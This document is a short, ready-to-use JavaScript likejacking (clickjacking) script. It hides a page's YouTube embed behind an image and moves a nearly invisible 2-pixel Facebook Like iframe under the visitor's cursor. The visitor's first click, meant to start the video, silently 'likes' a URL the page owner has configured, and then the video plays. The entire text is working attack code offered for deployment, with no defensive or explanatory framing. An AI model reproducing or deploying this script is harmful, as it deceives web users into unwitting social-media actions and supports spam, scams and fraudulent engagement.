Facebook LikeJacking/ClickJacking Script

<script type="text/javascript">

  // Put here the url to like, use document.location.href to use current url.
  var sUrlToLike = 'http://www.site.com/your-url-to-like';
  // An image to use to replace the YouTube video before the user clicks on it.
  var sImageToUse = 'http://www.site.com/image-to-use-before-video-gets-loaded.png';

  var oYouTubeFrame = $('iframe[src*="youtube.com/embed/"]');
  var aMatches      = oYouTubeFrame.attr('src').match( /^.+embed\/(.+)/ );

  if( aMatches )
  {
    var sInstanceId         = 'lj' + ( new Date() ).getTime();
    var oActiveElement      = undefined;
    var oInterval           = undefined;
    var oRemoveInterval  = undefined;
    var oImage           = $( '<img src="' + sImageToUse + '" width="560" height="315"/>' );
    var oInvisibleDiv       = $( '<div/>' );
    var oIFrame          = $( '<iframe id="' + sInstanceId + '"></iframe>' );
    var sVideoCode          = aMatches[1];
    var bDone            = false;
    var iX = 0;
    var iY = 0;

    oYouTubeFrame.hide().after( oImage );

    oInterval = setInterval( function()
    {
      oActiveElement = $( document.activeElement );

      if( oActiveElement.attr('id') == sInstanceId && bDone == false )
      {
        oImage.remove();

        oYouTubeFrame
        .attr( 'src', 'http://www.youtube.com/embed/' + sVideoCode + '?autoplay=1' )
        .show();

        bDone = true;
        oRemoveInterval = setInterval( function()
        {
          oInvisibleDiv.remove();

          clearInterval( oRemoveInterval );
          clearInterval( oInterval );
        },
        1000 );
      }
    },
    50 );

    oInvisibleDiv.css
    ({
      border     : 0,
      width      : '2px',
      height     : '2px',
      position   : 'absolute',
      background : '#000'
    });

    oIFrame.css
    ({
      border   : 0,
      width    : '2px',
      height   : '2px',
      margin   : 0,
      padding  : 0,
      position : 'absolute'
    })
    .attr( 'scrolling',   'no' )
    .attr( 'frameborder', 'no' )
    .attr( 'src',         'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent( sUrlToLike ) + '&show_faces=false' )
    .appendTo( oInvisibleDiv );

    oInvisibleDiv.appendTo('body');

    $('body').mousemove( function(e)
    {
      iX = e.pageX;
      iY = e.pageY;

      oInvisibleDiv.css
      ({
        left : ( e.pageX - 1 ) + 'px',
        top  : ( e.pageY - 1 ) + 'px'
      });
    });
  }

</script>